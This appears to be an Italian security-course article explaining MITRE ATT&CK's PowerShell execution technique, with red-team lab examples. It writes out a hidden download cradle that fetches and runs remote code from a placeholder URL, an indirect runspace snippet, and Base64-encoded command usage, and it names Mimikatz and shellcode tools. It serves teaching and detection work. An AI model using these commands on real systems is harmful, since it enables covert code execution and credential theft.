Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Arile! Scopri di più
PowerShell è l'interprete di comandi e ambiente di scripting integrato in Windows che gli avversari sfruttano massivamente come vettore di esecuzione. La tecnica si colloca nella tattica Execution (TA0002), ovvero la fase della kill chain in cui l'attaccante tenta di eseguire codice malevolo su un sistema locale o remoto. I numeri parlano da soli: 83 gruppi APT, 124 famiglie software, 16 campagne documentate e 5 mitigazioni rendono questa tecnica una delle più osservate nell'intero panorama delle minacce.
L'abuso non si limita all'invocazione diretta di powershell.exe. Gli avversari accedono all'assembly System.Management.Automation tramite il framework .NET e la Common Language Interface di Windows, eseguendo script senza mai generare il processo canonico. Questa variante "fileless" complica notevolmente la detection, perché elimina molti indicatori tradizionali basati sulla riga di comando. Il risultato è un canale di esecuzione che permette discovery, lateral movement, credential harvesting, download di payload e persistenza — il tutto con un singolo linguaggio nativo dell'ecosistema Microsoft, che rende estremamente difficile distinguere l'uso legittimo da quello offensivo senza telemetria adeguata.
L'obiettivo in un red team engagement è dimostrare come PowerShell possa essere sfruttato nelle diverse fasi post-compromise, dalla download cradle iniziale fino all'esecuzione in memoria. Il punto di partenza classico è la download cradle con bypass della policy:
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('<URL-payload-lab>')"
Questo singolo comando scarica ed esegue codice in memoria senza scrivere nulla su disco, replicando il comportamento di decine di malware documentati come Emotet, QakBot e TrickBot. La flag -WindowStyle Hidden nasconde la finestra all'utente, mentre -NoProfile evita il caricamento di profili che potrebbero generare rumore.
Per simulare l'invocazione indiretta — quella che bypassa il monitoraggio su powershell.exe — puoi usare un eseguibile C# che carica l'assembly di automazione direttamente:
Add-Type -AssemblyName System.Management.Automation; $rs = [System.Management.Automation.Runspaces.RunspaceFactory]::CreateRunspace(); $rs.Open(); $pipeline = $rs.CreatePipeline(); $pipeline.Commands.AddScript("whoami"); $pipeline.Invoke()
Questa tecnica riflette ciò che fa PowerLess, malware scritto in PowerShell che opera senza invocare powershell.exe. Per testarla in laboratorio è sufficiente compilare il codice con csc.exe, il compilatore C# nativo di Windows.
Per la fase di post-exploitation, Empire (open source) resta il framework di riferimento, con moduli per credential harvesting, lateral movement via Invoke-PSRemoting e persistenza tramite scheduled task. PowerSploit (open source) offre moduli come Invoke-Shellcode e Invoke-Mimikatz, entrambi citati in campagne reali: FIN7 ha personalizzato un invocatore di shellcode di PowerSploit chiamato POWERTRASH, e menuPass lo ha usato per iniettare shellcode.
Per testare l'encoding Base64, tecnica adottata da BlackByte, Aquatic Panda e nella campagna Frankenstein:
powershell.exe -EncodedCommand <stringa-Base64-del-payload>
La stringa si genera con: [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("Get-Process")).
Infine, per replicare lo scenario di Cobalt Strike (a pagamento), il beacon include nativamente un modulo PowerShell che esegue payload su host remoti senza toccare disco. In laboratorio, Sliver (open source) offre funzionalità analoghe con il suo prompt PowerShell integrato, ed è un'alternativa eccellente per chi vuole evitare la licenza commerciale.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo